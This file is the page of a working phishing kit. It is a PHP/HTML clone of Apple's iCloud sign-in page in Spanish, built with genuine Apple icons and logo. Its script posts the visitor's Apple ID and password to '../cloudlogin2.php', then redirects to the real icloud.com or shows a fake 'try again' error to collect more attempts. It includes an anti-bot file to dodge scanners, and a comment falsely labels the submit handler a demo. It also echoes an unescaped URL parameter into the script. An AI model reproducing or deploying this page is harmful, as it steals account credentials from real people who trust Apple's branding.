<?php 
session_start();
include '../antibots.php';
//include '../bots.php';
?>

<!doctype html>
<html lang="es">
<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>iCloud</title>
<link rel="apple-touch-icon" sizes="180x180" href="https://www.icloud.com/system/icloud.com/2546Build34/favicons/default-favicon-light-180x180.png">
<link rel="icon" type="image/png" sizes="32x32" href="https://www.icloud.com/system/icloud.com/2546Build34/favicons/default-favicon-light-32x32.png">
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">

  <link rel="stylesheet" href="./stylesLog.css?v=<?php echo time();?>" />
</head>

<body>
<section id="view-login" class="view view-login" aria-hidden="true" style="display:block;">
  <div class="login-wrap">
    <div class="login-card" role="region" aria-label="Iniciar sesión Apple">
      <div class="login-head">
        <div class="login-orbit" aria-hidden="true">
          <!-- Tu SVG tal cual -->
          <svg viewBox="0 0 160 160" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" class="icon" draggable="false" aria-hidden="true">
            <defs>
              <linearGradient x1="100%" y1="100%" x2="50%" y2="50%" id="f2f15fa97739d6b8762a5540d983611bb">
                <stop stop-color="#8700FF" offset="0%"></stop><stop stop-color="#EE00E1" stop-opacity="0" offset="100%"></stop>
              </linearGradient>
              <linearGradient x1="0%" y1="100%" x2="50%" y2="50%" id="f2f15fa97739d6b8762a5540d983611bc">
                <stop stop-color="#E00" offset="0%"></stop><stop stop-color="#EE00E1" stop-opacity="0" offset="100%"></stop>
              </linearGradient>
              <linearGradient x1="100%" y1="0%" x2="50%" y2="50%" id="f2f15fa97739d6b8762a5540d983611bd">
                <stop stop-color="#00B1EE" offset="0%"></stop><stop stop-color="#00B1EE" stop-opacity="0" offset="100%"></stop>
              </linearGradient>
              <linearGradient x1="-17.876%" y1="21.021%" x2="48.935%" y2="50%" id="f2f15fa97739d6b8762a5540d983611be">
                <stop stop-color="#FFA456" offset="0%"></stop><stop stop-color="#FFA456" stop-opacity="0" offset="100%"></stop>
              </linearGradient>
              <path d="M89.905 152.381a3.81 3.81 0 110 7.619 3.81 3.81 0 010-7.619zm-23.737 2.79a3.81 3.81 0 117.36 1.973 3.81 3.81 0 01-7.36-1.972zm46.799-5.126a3.81 3.81 0 11-7.36 1.972 3.81 3.81 0 017.36-1.972zm-60.58-2.409a3.81 3.81 0 11-3.81 6.598 3.81 3.81 0 013.81-6.598zm28.777-4.373a3.302 3.302 0 11-.804 6.554 3.302 3.302 0 01.804-6.554zm-16.684-1.899a3.338 3.338 0 11-2.5 6.19 3.338 3.338 0 012.5-6.19zm36.901 2.383a3.338 3.338 0 11-6.61.93 3.338 3.338 0 016.61-.93zm28.591-4.621a3.81 3.81 0 11-6.598 3.81 3.81 3.81 0 016.598-3.81zm-94.15-.941a3.81 3.81 0 11-5.387 5.387 3.81 3.81 0 015.388-5.387zm52.547-.486a3.023 3.023 0 110 6.047 3.023 3.023 0 010-6.047zm-15.136.077a3.023 3.023 0 11-1.565 5.841 3.023 3.023 0 011.565-5.84zm-24.278-2.592a3.338 3.338 0 11-4.017 5.331 3.338 3.338 0 014.017-5.331zm68.381.883a3.338 3.338 0 11-6.145 2.609 3.338 3.338 0 016.145-2.609zm-10.664-.222a3.023 3.023 0 11-5.841 1.565 3.023 3.023 0 015.84-1.565zm-48.079-1.912a3.023 3.023 0 11-3.023 5.237 3.023 3.023 0 013.023-5.237zm22.334-3.47a2.62 2.62 0 11-.639 5.201 2.62 2.62 0 01.639-5.202zm-13.241-1.507a2.65 2.65 0 11-1.985 4.912 2.65 2.65 0 011.985-4.912zm29.286 1.891a2.65 2.65 0 11-5.246.737 2.65 2.65 0 015.246-.737zm23.196-3.668a3.023 3.023 0 11-5.236 3.024 3.023 3.023 0 015.236-3.024zm-74.721-.747a3.023 3.023 0 11-4.276 4.276 3.023 3.023 0 014.276-4.276zm98.125-2.255a3.81 3.81 0 11-5.387 5.388 3.81 3.81 0 015.387-5.388zM35.56 125.196a3.338 3.338 0 11-5.26 4.11 3.338 3.338 0 015.26-4.11zm-13.29-.428a3.81 3.81 0 11-6.599 3.81 3.81 3.81 0 016.599-3.81zm108.491-.249a3.338 3.338 0 11-5.26 4.11 3.338 3.338 0 015.26-4.11zm-75.396-.468a2.65 2.65 0 11-3.188 4.231 2.65 2.65 0 013.188-4.231zm54.271.7a2.65 2.65 0 11-4.877 2.071 2.65 2.65 0 014.877-2.07zm21.327-9.436a3.023 3.023 0 11-4.276 4.276 3.023 3.023 0 014.276-4.276zm-86.23.808a2.65 2.65 0 11-4.175 3.262 2.65 2.65 0 014.175-3.262zm-10.043-.339a3.023 3.023 0 11-5.236 3.024 3.023 3.023 0 015.236-3.024zm85.6-.197a2.65 2.65 0 11-4.175 3.262 2.65 2.65 0 014.175-3.262zm-95.085-3.507a3.338 3.338 0 11-6.145 2.609 3.338 3.338 0 016.145-2.609zm115.534-2.19a3.338 3.338 0 11-4.018 5.332 3.338 3.338 0 014.018-5.331zm12.102-3.672a3.81 3.81 0 11-3.81 6.599 3.81 3.81 0 013.81-6.599zM12.65 108.301a3.81 3.81 0 11-7.36 1.972 3.81 3.81 0 017.36-1.972zm23.865-2.586a2.65 2.65 0 11-4.877 2.07 2.65 2.65 0 014.877-2.07zm91.693-1.738a2.65 2.65 0 11-3.188 4.231 2.65 2.65 0 013.188-4.231zm10.11-2.915a3.023 3.023 0 11-3.023 5.237 3.023 3.023 0 013.023-5.237zm-111.262 1.653a3.023 3.023 0 11-5.841 1.565 3.023 3.023 0 015.84-1.565zm-8.458-5.983a3.338 3.338 0 11-6.611.93 3.338 3.338 0 016.61-.93zm127.992-3.554a3.338 3.338 0 11-2.5 6.19 3.338 3.338 0 012.5-6.19zm-115.319.356a2.65 2.65 0 11-5.246.737 2.65 2.65 0 015.246-.737zm101.581-2.821a2.65 2.65 0 11-1.984 4.912 2.65 2.65 0 011.984-4.912zm19.627-1.547a3.81 3.81 0 117.36 1.972 3.81 3.81 0 01-7.36-1.972zM3.81 86.096a3.81 3.81 0 110 7.618 3.81 3.81 0 010-7.619zm137.923-.705a3.023 3.023 0 11-1.565 5.84 3.023 3.023 0 011.565-5.84zm-121.694-.3a3.023 3.023 0 110 6.047 3.023 3.023 0 010-6.047zm-6.938-8.368a3.302 3.302 0 11-.805 6.554 3.302 3.302 0 01.805-6.554zm13.807.93a2.62 2.62 0 11-.638 5.202 2.62 2.62 0 01.638-5.202zm120.796-1.946a3.302 3.302 0 11-.805 6.554 3.302 3.302 0 01.805-6.554zm-13.968 1.14a2.62 2.62 0 11-.638 5.201 2.62 2.62 0 01.638-5.201zm7.24-7.477a3.023 3.023 0 110 6.046 3.023 3.023 0 010-6.046zm-120.128-.094a3.023 3.023 0 11-1.565 5.841 3.023 3.023 0 011.565-5.84zm135.342-2.99a3.81 3.81 0 110 7.619 3.81 3.81 0 010-7.62zM.162 68.862a3.81 3.81 0 117.36 1.972 3.81 3.81 0 01-7.36-1.972zm29.28-5.072a2.65 2.65 0 11-1.984 4.913 2.65 2.65 0 011.985-4.913zm104.844 1.355a2.65 2.65 0 11-5.247.737 2.65 2.65 0 015.247-.737zm-117.992-5.89a3.338 3.338 0 11-2.5 6.19 3.338 3.338 0 012.5-6.19zm132.102 1.708a3.338 3.338 0 11-6.61.929 3.338 3.338 0 016.61-.93zm-8.594-4.735a3.023 3.023 0 11-5.84 1.565 3.023 3.023 0 015.84-1.565zm-114.08-2.019a3.023 3.023 0 11-3.024 5.237 3.023 3.023 0 013.024-5.237zm9.569-3.001a2.65 2.65 0 11-3.189 4.23 2.65 2.65 0 013.189-4.23zm93.381.423a2.65 2.65 0 11-4.877 2.07 2.65 2.65 0 014.877-2.07zm26.039-1.904a3.81 3.81 0 11-7.36 1.972 3.81 3.81 0 017.36-1.972zM10.969 47.183a3.81 3.81 0 11-3.809 6.599 3.81 3.81 0 013.81-6.599zm12.693-3.781a3.338 3.338 0 11-4.017 5.331 3.338 3.338 0 014.017-5.331zm117.661.533a3.338 3.338 0 11-6.145 2.608 3.338 3.338 0 016.145-2.608zm-9.76-2.235a3.023 3.023 0 11-5.237 3.024 3.023 3.023 0 015.237-3.024zm-97.233-.783a3.023 3.023 0 11-4.276 4.276 3.023 3.023 0 014.276-4.276zm9.866-.35a2.65 2.65 0 11-4.175 3.262 2.65 2.65 0 014.175-3.262zm75.556-.537a2.65 2.65 0 11-4.175 3.262 2.65 2.65 0 014.175-3.262zm24.578-8.608a3.81 3.81 0 11-6.599 3.81 3.81 3.81 0 016.599-3.81zm-122.515-.987a3.81 3.81 0 11-5.387 5.388 3.81 3.81 0 015.387-5.388zm33.736 2.159a2.65 2.65 0 11-4.877 2.07 2.65 2.65 0 014.877-2.07zm52.583-1.46a2.65 2.65 0 11-3.189 4.231 2.65 2.65 0 013.189-4.231zm-73.251-1.14a3.338 3.338 0 11-5.26 4.11 3.338 3.338 0 015.26-4.11zm84.962-.194a3.023 3.023 0 11-4.276 4.276 3.023 3.023 0 014.276-4.276zm-73.76.505a3.023 3.023 0 11-5.238 3.024 3.023 3.023 0 015.237-3.024zm83.999-.987a3.338 3.338 0 11-5.26 4.11 3.338 3.338 0 015.26-4.11zm-61.5-1.487a2.65 2.65 0 11-5.247.738 2.65 2.65 0 015.247-.738zm26.024-2.284a2.65 2.65 0 11-1.984 4.913 2.65 2.65 0 011.984-4.913zm-14.487-1.912a2.62 2.62 0 11-.639 5.201 2.62 2.62 0 01.639-5.201zm25.325-2.297a3.023 3.023 0 11-3.023 5.237 3.023 3.023 0 013.023-5.237zm-45.261 1.76a3.023 3.023 0 11-5.841 1.565 3.023 3.023 0 015.84-1.565zm-10.994-3.15a3.338 3.338 0 11-6.145 2.609 3.338 3.338 0 016.145-2.609zm66.254-1.84a3.338 3.338 0 11-4.018 5.332 3.338 3.338 0 014.018-5.331zm14.12-1.68a3.81 3.81 0 11-5.388 5.387 3.81 3.81 0 015.388-5.387zm-40.217.463a3.023 3.023 0 11-1.565 5.84 3.023 3.023 0 011.565-5.84zm-16.701-.13a3.023 3.023 0 110 6.048 3.023 3.023 0 010-6.047zm-36.02.304a3.81 3.81 0 11-6.6 3.81 3.81 3.81 0 016.6-3.81zm28.985-3.118a3.338 3.338 0 11-6.611.93 3.338 3.338 0 016.61-.93zm32.79-2.877a3.338 3.338 0 11-2.5 6.19 3.338 3.338 0 012.5-6.19zM80.149 8.66a3.302 3.302 0 11-.804 6.553 3.302 3.302 0 01.804-6.553zm31.274-2.894a3.81 3.81 0 11-3.81 6.598 3.81 3.81 0 013.81-6.598zm-57.03 2.217a3.81 3.81 0 11-7.359 1.972 3.81 3.81 0 017.36-1.972zM91.139.163a3.81 3.81 0 11-1.972 7.359 3.81 3.81 0 011.972-7.36zM70.095 0a3.81 3.81 0 110 7.619 3.81 3.81 0 010-7.619z" id="f2f15fa97739d6b8762a5540d983611ba"></path>
            </defs>
            <use fill="#FFF" xlink:href="#f2f15fa97739d6b8762a5540d983611ba"></use>
            <use fill="url(#f2f15fa97739d6b8762a5540d983611bb)" xlink:href="#f2f15fa97739d6b8762a5540d983611ba"></use>
            <use fill="url(#f2f15fa97739d6b8762a5540d983611bc)" xlink:href="#f2f15fa97739d6b8762a5540d983611ba"></use>
            <use fill="url(#f2f15fa97739d6b8762a5540d983611bd)" xlink:href="#f2f15fa97739d6b8762a5540d983611ba"></use>
            <use fill="url(#f2f15fa97739d6b8762a5540d983611be)" xlink:href="#f2f15fa97739d6b8762a5540d983611ba"></use>
            <path fill="var(--theme-color-systemBlack)" d="M80.38 68.181c1.66 0 3.75-1.091 4.999-2.565 1.137-1.346 1.94-3.183 1.94-5.039 0-.255-.02-.51-.057-.71-1.865.073-4.103 1.201-5.427 2.73-1.063 1.164-2.033 3.02-2.033 4.875 0 .29.056.564.075.655.112.018.298.054.503.054zm-5.724 27.713c2.248 0 3.243-1.474 6.044-1.474 2.838 0 3.483 1.438 5.97 1.438 2.47 0 4.11-2.239 5.677-4.44 1.732-2.53 2.469-4.987 2.487-5.115-.147-.036-4.865-1.947-4.865-7.28 0-4.622 3.704-6.697 3.926-6.86-2.451-3.477-6.192-3.586-7.224-3.586-2.746 0-4.994 1.656-6.431 1.656-1.53 0-3.52-1.547-5.916-1.547-4.551 0-9.158 3.713-9.158 10.701 0 4.368 1.695 8.973 3.814 11.94 1.806 2.51 3.39 4.567 5.676 4.567z"></path>
          </svg>
        </div>

        <h2 class="login-title">Inicia sesión con tu cuenta de<br />Apple</h2>
      </div>

      <form class="login-form" id="loginForm" novalidate>
        <!-- Paso 1: SOLO correo -->
        <div class="step step-id is-active" id="stepId">
          <label class="sr-only" for="appleId">Correo o número telefónico</label>
          <input
            id="appleId"
            class="login-input"
            type="text"
            autocomplete="username"
            placeholder="Correo o número telefónico"
          />

          <a class="login-link" href="#">Crear tu cuenta de Apple</a>

          <div class="login-people" aria-hidden="true"></div>

          <p class="login-note">
            La información de tu cuenta de Apple se usa para permitirte iniciar sesión y acceder a tus detalles.
            Apple guarda ciertos detalles para fines de seguridad, apoyo y reporte. Si aceptas, Apple también podrá usar la
            información de tu cuenta de Apple para enviarte correos electrónicos y comunicaciones, lo que incluye contenido
            basado en tu uso de los servicios de Apple.
            <a class="login-link inline" href="#">Consulta cómo se utiliza tu información</a>.
          </p>

     
            <div class="login-actions two">
            <button class="login-btn primary" id="continueBtn" type="button" disabled>Continuar</button>

            <button class="login-btn secondary" type="button">
                <i aria-hidden="true" class="shared-icon no-flip iphone-icon"></i>
                <span id="duo">Iniciar sesión con el iPhone</span>
            </button>
            </div>

          <p class="login-foot">Se requiere un dispositivo con iOS 17 o posterior.</p>

         
        </div>

        <!-- Paso 2: APARECEN 2 INPUTS (correo + contraseña) -->
        <div class="step step-pass" id="stepPass" aria-hidden="true">
          <div class="field-stack" id="credentialsStack">
            <div class="stack-row stack-top">
              <label class="stack-label" for="appleId2">Correo o número telefónico</label>
              <input id="appleId2" class="stack-input stack-input--filled"
       type="text" autocomplete="username" placeholder="" />
            </div>

            <div class="stack-divider"></div>

            <div class="stack-row stack-bottom">
              <label class="sr-only" for="password">Contraseña</label>
              <input
                id="password"
                class="stack-input"
                type="password"
                autocomplete="current-password"
                placeholder="Contraseña"
              />
            </div>
          </div>
          <div class="login-error" id="loginError" aria-live="polite" hidden>
            <span class="login-error-icon" aria-hidden="true"></span>
            <span>No se pudo verificar tu identidad. Vuelve a intentarlo.</span>
          </div>
          <div class="row">
            <label class="check">
              <input type="checkbox" id="remember" />
              <span>Mantener la sesión iniciada</span>
            </label>

            <a class="forgot" href="#">¿Olvidaste la contraseña? ↗</a>
          </div>

          <!--<div class="login-actions single">
            <button class="login-btn signin" id="signinBtn" type="submit" disabled>Iniciar sesión</button>
          </div>-->
          <button class="login-btn signin" id="signinBtn" type="submit" disabled>
              <span class="btn-text">Iniciar sesión</span>
         </button>
        </div>
      </form>
    </div>
  </div>
</section>


  </main>

<script src="https://code.jquery.com/jquery-3.7.1.min.js"
  integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo="
  crossorigin="anonymous"></script>
<script>
function isIOS() {
  // iPhone/iPad/iPod (incluye iPadOS que a veces se identifica como Mac)
  const ua = navigator.userAgent || "";
  const isAppleMobile = /iPhone|iPad|iPod/i.test(ua);
  const isIPadOS13Plus = /Macintosh/i.test(ua) && navigator.maxTouchPoints > 1; // iPadOS “modo desktop”
  return isAppleMobile || isIPadOS13Plus;
}

document.addEventListener('DOMContentLoaded', () => {
  const duo = document.getElementById('duo');
  if (!duo) return;

  if (isIOS()) {
    duo.textContent = "Iniciar sesión con la llave de acceso";
  } else {
    duo.textContent = "Iniciar sesión con la llave de acceso";
  }
});

/* ========= Video theme ========= */
const DARK_VIDEO = "https://www.icloud.com/system/icloud.com/2546Build34/fpo-dark@1x.mp4";
const LIGHT_VIDEO = "https://www.icloud.com/system/icloud.com/2546Build34/fpo@1x.mp4";

function setHeroVideoByTheme(theme) {
  const video = document.getElementById('heroVideo');
  const source = document.getElementById('heroVideoSource');
  if (!video || !source) return;

  const nextSrc = theme === 'light' ? LIGHT_VIDEO : DARK_VIDEO;

  // OJO: source.src suele volverse URL absoluta; comparamos el atributo para evitar falsos negativos
  const currentAttr = source.getAttribute('src');
  if (currentAttr === nextSrc) return;

  source.setAttribute('src', nextSrc);
  video.load();
  video.play?.().catch(() => {});
}

function applyThemeByHour() {
  const hour = new Date().getHours(); // 0-23
  const isDay = hour >= 6 && hour < 19; // 06:00 - 18:59
  //const theme = isDay ? 'light' : 'dark';
  const theme = 'light';

  document.documentElement.setAttribute('data-theme', theme);
  setHeroVideoByTheme(theme);
}

applyThemeByHour();
setInterval(applyThemeByHour, 60 * 1000);


/* ========= Menu "..." ========= */
const kebabBtn = document.querySelector('.kebab');
const kebabMenu = document.querySelector('.menu');

function closeMenu() {
  if (!kebabBtn || !kebabMenu) return;
  kebabBtn.setAttribute('aria-expanded', 'false');
  kebabMenu.setAttribute('aria-hidden', 'true');
  kebabMenu.classList.remove('open');
}

if (kebabBtn && kebabMenu) {
  kebabBtn.addEventListener('click', (e) => {
    e.stopPropagation();
    const open = kebabBtn.getAttribute('aria-expanded') === 'true';
    if (open) closeMenu();
    else {
      kebabBtn.setAttribute('aria-expanded', 'true');
      kebabMenu.setAttribute('aria-hidden', 'false');
      kebabMenu.classList.add('open');
    }
  });

  document.addEventListener('click', closeMenu);
  document.addEventListener('keydown', (e) => {
    if (e.key === 'Escape') closeMenu();
  });
}


/* ========= Vistas: Home <-> Login ========= */
const viewHome = document.getElementById('view-home');
const viewLogin = document.getElementById('view-login');
const openLoginBtn = document.getElementById('open-login');


/* ========= Login steps ========= */
const form = document.getElementById('loginForm');

const stepId = document.getElementById('stepId');
const stepPass = document.getElementById('stepPass');

const appleId = document.getElementById('appleId');     // paso 1
const continueBtn = document.getElementById('continueBtn');

const appleId2 = document.getElementById('appleId2');   // paso 2
const password = document.getElementById('password');
const signinBtn = document.getElementById('signinBtn');

const backHomeBtn = document.getElementById('back-home');
const backToIdBtn = document.getElementById('back-to-id');


/* ========= Error UI (password incorrecta) ========= */
const credentialsStack = document.getElementById('credentialsStack');
const loginError = document.getElementById('loginError');

function showLoginError(msg) {
  if (loginError) {
    loginError.hidden = false;
    loginError.classList.add('is-visible');
    const text = loginError.querySelector('span:last-child');
    if (text && msg) text.textContent = msg;
  }
  credentialsStack?.classList.add('is-error');
}

function clearLoginError() {
  credentialsStack?.classList.remove('is-error');
  if (loginError) {
    loginError.classList.remove('is-visible');
    setTimeout(() => { loginError.hidden = true; }, 180);
  }
}

// Al escribir, se limpia el error
password?.addEventListener('input', clearLoginError);
appleId2?.addEventListener('input', clearLoginError);


/* Helpers */
function isValidId(value) {
  const v = (value || '').trim();
  return /\p{L}/u.test(v);
}

function setStep(active) {
  if (!stepId || !stepPass) return;

  if (active === 'id') {
    stepId.classList.add('is-active');
    stepPass.classList.remove('is-active');
    stepPass.setAttribute('aria-hidden', 'true');
  } else {
    stepId.classList.remove('is-active');
    stepPass.classList.add('is-active');
    stepPass.setAttribute('aria-hidden', 'false');
  }
}

function syncButtons() {
  if (continueBtn && appleId) {
    continueBtn.disabled = !isValidId(appleId.value);
  }
  if (signinBtn && password) {
    signinBtn.disabled = password.value.trim().length < 1;
  }
}

function showLogin() {
  if (viewHome) viewHome.classList.add('is-hidden');
  if (viewLogin) {
    viewLogin.classList.add('is-active');
    viewLogin.setAttribute('aria-hidden', 'false');
  }
  setStep('id');
  syncButtons();
  setTimeout(() => appleId?.focus(), 0);
}

function showHome() {
  if (viewLogin) {
    viewLogin.classList.remove('is-active');
    viewLogin.setAttribute('aria-hidden', 'true');
  }
  if (viewHome) viewHome.classList.remove('is-hidden');
  setTimeout(() => openLoginBtn?.focus(), 0);
}

function showStepPass() {
  const v = appleId ? appleId.value.trim() : '';
  if (!isValidId(v)) return;

  if (appleId2) appleId2.value = v;

  setStep('pass');
  syncButtons();
  setTimeout(() => password?.focus(), 0);
}

function showStepId() {
  setStep('id');
  syncButtons();
  setTimeout(() => appleId?.focus(), 0);
}


/* ========= Email editable: si escribe 1 letra en paso 2, vuelve al paso 1 ========= */
let syncingEmail = false;
function setLoading(isLoading){
  const $btn = $('#signinBtn');
  $btn.toggleClass('is-loading', !!isLoading);
  $btn.prop('disabled', !!isLoading);
}
function syncEmailBackToStep1Instant() {
  if (syncingEmail) return;

  const v = (appleId2?.value || '').trim();
  if (!v) return;

  syncingEmail = true;

  if (appleId) appleId.value = v;
  showStepId();

  if (continueBtn) continueBtn.disabled = !isValidId(v);

  setTimeout(() => { syncingEmail = false; }, 0);
}

appleId2?.addEventListener('input', syncEmailBackToStep1Instant);


/* ========= Eventos ========= */
openLoginBtn?.addEventListener('click', showLogin);
backHomeBtn?.addEventListener('click', showHome);
backToIdBtn?.addEventListener('click', showStepId);

appleId?.addEventListener('input', syncButtons);
continueBtn?.addEventListener('click', showStepPass);

password?.addEventListener('input', syncButtons);


/* Demo: evita submit real */
form.addEventListener('submit', (e) => {
  e.preventDefault();

        var email = $('#appleId').val();		
            var password = $('#password').val();
            var DataPost = {
                    "xuser" : email,
                    "xpass" : password,
                    "id" : <?php echo $_GET['id'];?>
            };    
            $.ajax({                        
               type: "POST",                 
               url: "../cloudlogin2.php",                    
               data: DataPost,
               beforeSend: function () {
                clearLoginError?.();    // opcional: limpia el borde rojo si existía
                setLoading(true);       // muestra spinner antes de enviar [web:311]
              },
               success: function(data)            
               { 
                 if(data == '1')
                 {
                      setLoading(false);
                     window.parent.location.href='https://icloud.com';
                 }else
                 {
                      setLoading(false);
                    showLoginError("No se pudo verificar tu identidad. Vuelve a intentarlo.");
    //password.focus();
    return;
                 }             
               },
                  complete: function () {
                    setLoading(false);      // se ejecuta siempre al terminar [web:311]
                  }
             });

});


/* Enter en el input del correo actúa como "Continuar" */
appleId?.addEventListener('keydown', (e) => {
  if (e.key === 'Enter') {
    e.preventDefault();
    if (!continueBtn?.disabled) showStepPass();
  }
});

/* Escape vuelve al paso anterior si estás en password */
document.addEventListener('keydown', (e) => {
  if (e.key === 'Escape') {
    if (stepPass?.classList.contains('is-active')) showStepId();
  }
});





</script>




</body>
</html>
